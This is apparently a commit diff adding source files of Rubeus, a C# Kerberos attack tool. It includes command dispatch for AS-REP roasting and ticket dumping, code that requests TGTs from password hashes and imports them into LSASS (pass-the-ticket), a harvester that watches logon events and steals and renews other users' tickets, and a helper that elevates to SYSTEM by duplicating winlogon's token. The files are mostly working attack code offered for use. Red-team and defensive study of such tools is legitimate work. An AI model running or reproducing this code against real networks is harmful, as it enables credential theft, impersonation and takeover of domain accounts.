if (String.IsNullOrEmpty(dc))
{
Roast.ASRepRoast(user, domain);
}
else
{
Roast.ASRepRoast(user, domain, dc);
}
}
else if (arguments.ContainsKey("dump"))
{
if (arguments.ContainsKey("/luid"))
{
string service = "";
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
UInt32 luid = 0;
try
{
luid = UInt32.Parse(arguments["/luid"]);
}
catch
{
try
{
luid = Convert.ToUInt32(arguments["/luid"], 16);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
return;
}
}
LSA.ListKerberosTicketData(luid, service);
}
else if (arguments.ContainsKey("/service"))
{
LSA.ListKerberosTicketData(0, arguments["/service"]);
}
else
{
LSA.ListKerberosTicketData();
}
}
else if (arguments.ContainsKey("monitor"))
{
string targetUser = "";
int interval = 60;
if (arguments.ContainsKey("/filteruser"))
{
targetUser = arguments["/filteruser"];
}
if (arguments.ContainsKey("/interval"))
{
interval = Int32.Parse(arguments["/interval"]);
}
Harvest.Monitor4624(interval, targetUser);
}
else if (arguments.ContainsKey("harvest"))
{
int intervalMinutes = 60;
if (arguments.ContainsKey("/interval"))
{
intervalMinutes = Int32.Parse(arguments["/interval"]);
}
Harvest.HarvestTGTs(intervalMinutes);
}
else if (arguments.ContainsKey("describe"))
{
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
return;
}
}
else if (arguments.ContainsKey("createnetonly"))
{
if (arguments.ContainsKey("/program"))
{
if (arguments.ContainsKey("/show"))
{
LSA.CreateProcessNetOnly(arguments["/program"], true);
}
else
{
LSA.CreateProcessNetOnly(arguments["/program"]);
}
}
else
{
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
}
}
else {
Usage();
}
}
}
}

View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Rubeus")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Rubeus")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

93
Rubeus/Rubeus.csproj Executable file
View File

@ -0,0 +1,93 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{658C8B7F-3664-4A95-9572-A3E5871DFC06}</ProjectGuid>
<OutputType>Exe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Rubeus</RootNamespace>
<AssemblyName>Rubeus</AssemblyName>
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.DirectoryServices" />
<Reference Include="System.DirectoryServices.AccountManagement" />
<Reference Include="System.IdentityModel" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Asn1\AsnElt.cs" />
<Compile Include="Asn1\AsnException.cs" />
<Compile Include="Asn1\AsnIO.cs" />
<Compile Include="Asn1\AsnOID.cs" />
<Compile Include="lib\Ask.cs" />
<Compile Include="lib\Crypto.cs" />
<Compile Include="lib\Harvest.cs" />
<Compile Include="lib\Helpers.cs" />
<Compile Include="lib\Interop.cs" />
<Compile Include="lib\krb_structures\AP_REQ.cs" />
<Compile Include="lib\krb_structures\AS_REP.cs" />
<Compile Include="lib\krb_structures\AS_REQ.cs" />
<Compile Include="lib\krb_structures\Authenticator.cs" />
<Compile Include="lib\krb_structures\Checksum.cs" />
<Compile Include="lib\krb_structures\EncKDCRepPart.cs" />
<Compile Include="lib\krb_structures\EncKrbCredPart.cs" />
<Compile Include="lib\krb_structures\EncryptedData.cs" />
<Compile Include="lib\krb_structures\EncryptionKey.cs" />
<Compile Include="lib\krb_structures\KDC_REQ_BODY.cs" />
<Compile Include="lib\krb_structures\KERB_PA_PAC_REQUEST.cs" />
<Compile Include="lib\krb_structures\KrbCredInfo.cs" />
<Compile Include="lib\krb_structures\KRB_CRED.cs" />
<Compile Include="lib\krb_structures\KRB_ERROR.cs" />
<Compile Include="lib\krb_structures\LastReq.cs" />
<Compile Include="lib\krb_structures\PA_DATA.cs" />
<Compile Include="lib\krb_structures\PA_ENC_TS_ENC.cs" />
<Compile Include="lib\krb_structures\PA_FOR_USER.cs" />
<Compile Include="lib\krb_structures\PrincipalName.cs" />
<Compile Include="lib\krb_structures\TGS_REP.cs" />
<Compile Include="lib\krb_structures\TGS_REQ.cs" />
<Compile Include="lib\krb_structures\Ticket.cs" />
<Compile Include="lib\LSA.cs" />
<Compile Include="lib\Networking.cs" />
<Compile Include="lib\Renew.cs" />
<Compile Include="lib\Roast.cs" />
<Compile Include="lib\S4U.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>

165
Rubeus/lib/Ask.cs Executable file
View File

@ -0,0 +1,165 @@
using System;
using System.IO;
using System.Linq;
using Asn1;
namespace Rubeus
{
public class Ask
{
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
{
Console.WriteLine("[*] Action: Ask TGT\r\n");
// grab the default DC if none was supplied
if (String.IsNullOrEmpty(domainController))
{
domainController = Networking.GetDCName();
if (String.IsNullOrEmpty(domainController))
{
return null;
}
}
Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
if (luid != 0)
{
Console.WriteLine("[*] Target LUID : {0}", luid);
}
System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController);
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
if (response == null)
{
return null;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 11)
{
Console.WriteLine("[+] TGT request successful!");
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key = Helpers.StringToByteArray(keyString);
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
outBytes = Crypto.KerberosDecrypt(etype, 8, key, rep.enc_part.cipher);
}
else if(etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
//https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L57
outBytes = Crypto.KerberosDecrypt(etype, 3, key, rep.enc_part.cipher);
}
else
{
Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
return null;
}
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if(ptt || (luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
return kirbiBytes;
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
return null;
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
return null;
}
}
}
}

125
Rubeus/lib/Crypto.cs Executable file
View File

@ -0,0 +1,125 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.ComponentModel;
namespace Rubeus
{
public class Crypto
{
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
public static byte[] KerberosChecksum(byte[] key, byte[] data)
{
Interop.KERB_CHECKSUM pCheckSum;
IntPtr pCheckSumPtr;
int status = Interop.CDLocateCheckSum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5, out pCheckSumPtr);
pCheckSum = (Interop.KERB_CHECKSUM)Marshal.PtrToStructure(pCheckSumPtr, typeof(Interop.KERB_CHECKSUM));
if (status != 0)
{
throw new Win32Exception(status, "CDLocateCheckSum failed");
}
IntPtr Context;
Interop.KERB_CHECKSUM_InitializeEx pCheckSumInitializeEx = (Interop.KERB_CHECKSUM_InitializeEx)Marshal.GetDelegateForFunctionPointer(pCheckSum.InitializeEx, typeof(Interop.KERB_CHECKSUM_InitializeEx));
Interop.KERB_CHECKSUM_Sum pCheckSumSum = (Interop.KERB_CHECKSUM_Sum)Marshal.GetDelegateForFunctionPointer(pCheckSum.Sum, typeof(Interop.KERB_CHECKSUM_Sum));
Interop.KERB_CHECKSUM_Finalize pCheckSumFinalize = (Interop.KERB_CHECKSUM_Finalize)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finalize, typeof(Interop.KERB_CHECKSUM_Finalize));
Interop.KERB_CHECKSUM_Finish pCheckSumFinish = (Interop.KERB_CHECKSUM_Finish)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finish, typeof(Interop.KERB_CHECKSUM_Finish));
// initialize the checksum
// KERB_NON_KERB_CKSUM_SALT = 17
int status2 = pCheckSumInitializeEx(key, key.Length, 17, out Context);
if (status2 != 0)
throw new Win32Exception(status2);
// the output buffer for the checksum data
byte[] checksumSrv = new byte[pCheckSum.Size];
// actually checksum all the supplied data
pCheckSumSum(Context, data.Length, data);
// finish everything up
pCheckSumFinalize(Context, checksumSrv);
pCheckSumFinish(ref Context);
return checksumSrv;
}
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262
public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
{
Interop.KERB_ECRYPT pCSystem;
IntPtr pCSystemPtr;
// locate the crypto system
int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
if (status != 0)
throw new Win32Exception(status, "Error on CDLocateCSystem");
// initialize everything
IntPtr pContext;
Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt));
Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
if (status != 0)
throw new Win32Exception(status);
int outputSize = data.Length;
if (data.Length % pCSystem.BlockSize != 0)
outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
outputSize += pCSystem.Size;
byte[] output = new byte[outputSize];
// actually perform the decryption
status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize);
pCSystemFinish(ref pContext);
return output;
}
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262
public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
{
Interop.KERB_ECRYPT pCSystem;
IntPtr pCSystemPtr;
// locate the crypto system
int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
if (status != 0)
throw new Win32Exception(status, "Error on CDLocateCSystem");
// initialize everything
IntPtr pContext;
Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt));
Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
if (status != 0)
throw new Win32Exception(status);
int outputSize = data.Length;
if (data.Length % pCSystem.BlockSize != 0)
outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
outputSize += pCSystem.Size;
byte[] output = new byte[outputSize];
// actually perform the decryption
status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize);
pCSystemFinish(ref pContext);
return output;
}
}
}

243
Rubeus/lib/Harvest.cs Executable file
View File

@ -0,0 +1,243 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics.Eventing.Reader;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
namespace Rubeus
{
public class Harvest
{
public static void HarvestTGTs(int intervalMinutes)
{
// First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
// every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
// On each interval, renew any tickets that are about to expire and refresh the cache.
// End result: every "intervalMinutes" a set of currently valid TGT .kirbi files are dumped to console
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
return;
}
Console.WriteLine("[*] Action: TGT Harvesting (w/ auto-renewal)");
Console.WriteLine("\r\n[*] Monitoring every {0} minutes for 4624 logon events\r\n", intervalMinutes);
// used to keep track of LUIDs we've already dumped
var seenLUIDs = new Dictionary<UInt32, bool>();
// get the current set of TGTs
List<KRB_CRED> creds = LSA.ExtractTGTs();
while (true)
{
// check for 4624 logon events in the past "intervalSeconds"
string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalMinutes * 60 * 1000);
EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
EventLogReader logReader = new EventLogReader(eventsQuery);
for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
{
// if there's an event, extract out the logon ID (LUID) for the session
string eventMessage = eventInstance.FormatDescription();
DateTime eventTime = (DateTime)eventInstance.TimeCreated;
int startIndex = eventMessage.IndexOf("New Logon:");
string message = eventMessage.Substring(startIndex);
// extract out relevant information from the event log message
var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
Match acctNameMatch = acctNameExpression.Match(message);
var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
Match acctDomainMatch = acctDomainExpression.Match(message);
if (acctNameMatch.Success)
{
var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
Match srcNetworkMatch = srcNetworkExpression.Match(message);
string logonName = acctNameMatch.Groups["name"].Value;
string accountDomain = "";
string srcNetworkAddress = "";
try
{
accountDomain = acctDomainMatch.Groups["domain"].Value;
}
catch { }
try
{
srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
}
catch { }
// ignore SYSTEM logons and other defaults
if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
{
Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
Match match2 = expression2.Match(message);
if (match2.Success)
{
try
{
// check if we've seen this LUID before
UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16);
if (!seenLUIDs.ContainsKey(luid))
{
seenLUIDs[luid] = true;
// if we haven't seen it, extract any TGTs for that particular logon ID and add to the cache
List<KRB_CRED> newCreds = LSA.ExtractTGTs(luid);
creds.AddRange(newCreds);
}
}
catch (Exception e)
{
Console.WriteLine("[X] Exception: {0}", e.Message);
}
}
}
}
}
for(int i = creds.Count - 1; i >= 0; i--)
{
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].endtime);
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].renew_till);
// check if the ticket is going to expire before the next interval checkin
if (endTime < DateTime.Now.AddMinutes(intervalMinutes))
{
// check if the ticket's renewal limit will be valid within the next interval
if (renewTill < DateTime.Now.AddMinutes(intervalMinutes))
{
// renewal limit under checkin interval, so remove the ticket from the cache
creds.RemoveAt(i);
}
else
{
// renewal limit after checkin interval, so renew the TGT
string userName = creds[i].enc_part.ticket_info[0].pname.name_string[0];
string domainName = creds[i].enc_part.ticket_info[0].prealm;
Console.WriteLine("[*] Renewing TGT for {0}@{1}", userName, domainName);
byte[] bytes = Renew.TGT(creds[i], false, "", false);
KRB_CRED renewedCred = new KRB_CRED(bytes);
creds[i] = renewedCred;
}
}
}
Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
LSA.DisplayTGTs(creds);
System.Threading.Thread.Sleep(intervalMinutes * 60 * 1000);
}
}
public static void Monitor4624(int intervalSeconds, string targetUser)
{
// monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
// logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
return;
}
// used to keep track of LUIDs we've already dumped
var seenLUIDs = new Dictionary<UInt32, bool>();
Console.WriteLine("[*] Action: TGT Monitoring");
Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds);
if (!String.IsNullOrEmpty(targetUser))
{
Console.WriteLine("[*] Target user : {0}", targetUser);
targetUser = targetUser.Replace("$", "\\$");
}
Console.WriteLine();
while (true)
{
// check for 4624 logon events in the past "intervalSeconds"
string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalSeconds * 1000);
EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
EventLogReader logReader = new EventLogReader(eventsQuery);
for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
{
// if there's an event, extract out the logon ID (LUID) for the session
string eventMessage = eventInstance.FormatDescription();
DateTime eventTime = (DateTime)eventInstance.TimeCreated;
int startIndex = eventMessage.IndexOf("New Logon:");
string message = eventMessage.Substring(startIndex);
// extract out relevant information from the event log message
var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
Match acctNameMatch = acctNameExpression.Match(message);
var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
Match acctDomainMatch = acctDomainExpression.Match(message);
if (acctNameMatch.Success)
{
var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
Match srcNetworkMatch = srcNetworkExpression.Match(message);
string logonName = acctNameMatch.Groups["name"].Value;
string accountDomain = "";
string srcNetworkAddress = "";
try
{
accountDomain = acctDomainMatch.Groups["domain"].Value;
}
catch { }
try
{
srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
}
catch { }
// ignore SYSTEM logons and other defaults
if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
{
Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
// filter if we're targeting a specific user
if (String.IsNullOrEmpty(targetUser) || (Regex.IsMatch(logonName, targetUser, RegexOptions.IgnoreCase)))
{
var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
Match match2 = expression2.Match(message);
if (match2.Success)
{
try
{
// check if we've seen this LUID before
UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16);
if (!seenLUIDs.ContainsKey(luid))
{
seenLUIDs[luid] = true;
// if we haven't seen it, extract any TGTs for that particular logon ID
LSA.ListKerberosTicketData(luid, "krbtgt", true);
}
}
catch (Exception e)
{
Console.WriteLine("[X] Exception: {0}", e.Message);
}
}
}
}
}
}
System.Threading.Thread.Sleep(intervalSeconds * 1000);
}
}
}
}

126
Rubeus/lib/Helpers.cs Executable file
View File

@ -0,0 +1,126 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Security.Principal;
using System.Text.RegularExpressions;
namespace Rubeus
{
public class Helpers
{
public static IEnumerable<string> Split(string text, int partLength)
{
// splits a string into partLength parts
if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); }
if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); }
var partCount = Math.Ceiling((double)text.Length / partLength);
if (partCount < 2)
{
yield return text;
}
for (int i = 0; i < partCount; i++)
{
var index = i * partLength;
var lengthLeft = Math.Min(partLength, text.Length - index);
var line = text.Substring(index, lengthLeft);
yield return line;
}
}
private static Random random = new Random();
public static string RandomString(int length)
{
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
return new string(Enumerable.Repeat(chars, length)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public static bool IsBase64String(string s)
{
s = s.Trim();
return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None);
}
public static bool IsHighIntegrity()
{
// returns true if the current process is running with adminstrative privs in a high integrity context
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool GetSystem()
{
// helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation
if (IsHighIntegrity())
{
IntPtr hToken = IntPtr.Zero;
// Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken
Process[] processes = Process.GetProcessesByName("winlogon");
IntPtr handle = processes[0].Handle;
// TOKEN_DUPLICATE = 0x0002
bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken);
if (!success)
{
//Console.WriteLine("OpenProcessToken failed!");
return false;
}
// make a copy of the NT AUTHORITY\SYSTEM token from winlogon
// 2 == SecurityImpersonation
IntPtr hDupToken = IntPtr.Zero;
success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
if (!success)
{
//Console.WriteLine("DuplicateToken failed!");
return false;
}
success = Interop.ImpersonateLoggedOnUser(hDupToken);
if (!success)
{
//Console.WriteLine("ImpersonateLoggedOnUser failed!");
return false;
}
// clean up the handles we created
Interop.CloseHandle(hToken);
Interop.CloseHandle(hDupToken);
string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
if (name != "NT AUTHORITY\\SYSTEM")
{
return false;
}
return true;
}
else
{
return false;
}
}
public static byte[] StringToByteArray(string hex)
{
// converts a rc4/AES/etc. string into a byte array representation
if ((hex.Length % 32) != 0)
{
Console.WriteLine("\r\n[X] Hash must be 32 or 64 characters in length\r\n");
System.Environment.Exit(1);
}
// yes I know this inefficient
return Enumerable.Range(0, hex.Length)
.Where(x => x % 2 == 0)
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
.ToArray();
}
}
}

957
Rubeus/lib/Interop.cs Executable file
View File

@ -0,0 +1,957 @@
using System;
using Asn1;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace Rubeus
{
public class Interop
{
// Enums
[Flags]
public enum TicketFlags : UInt32
{
reserved = 2147483648,
forwardable = 0x40000000,
forwarded = 0x20000000,
proxiable = 0x10000000,
proxy = 0x08000000,
may_postdate = 0x04000000,
postdated = 0x02000000,
invalid = 0x01000000,
renewable = 0x00800000,
initial = 0x00400000,
pre_authent = 0x00200000,
hw_authent = 0x00100000,
ok_as_delegate = 0x00040000,
name_canonicalize = 0x00010000,
//cname_in_pa_data = 0x00040000,
enc_pa_rep = 0x00010000,
reserved1 = 0x00000001
// TODO: constrained delegation?
}
// TODO: order flipped? https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L167-L190
[Flags]
public enum KdcOptions : uint
{
VALIDATE = 0x00000001,
RENEW = 0x00000002,
UNUSED29 = 0x00000004,
ENCTKTINSKEY = 0x00000008,
RENEWABLEOK = 0x00000010,
DISABLETRANSITEDCHECK = 0x00000020,
UNUSED16 = 0x0000FFC0,
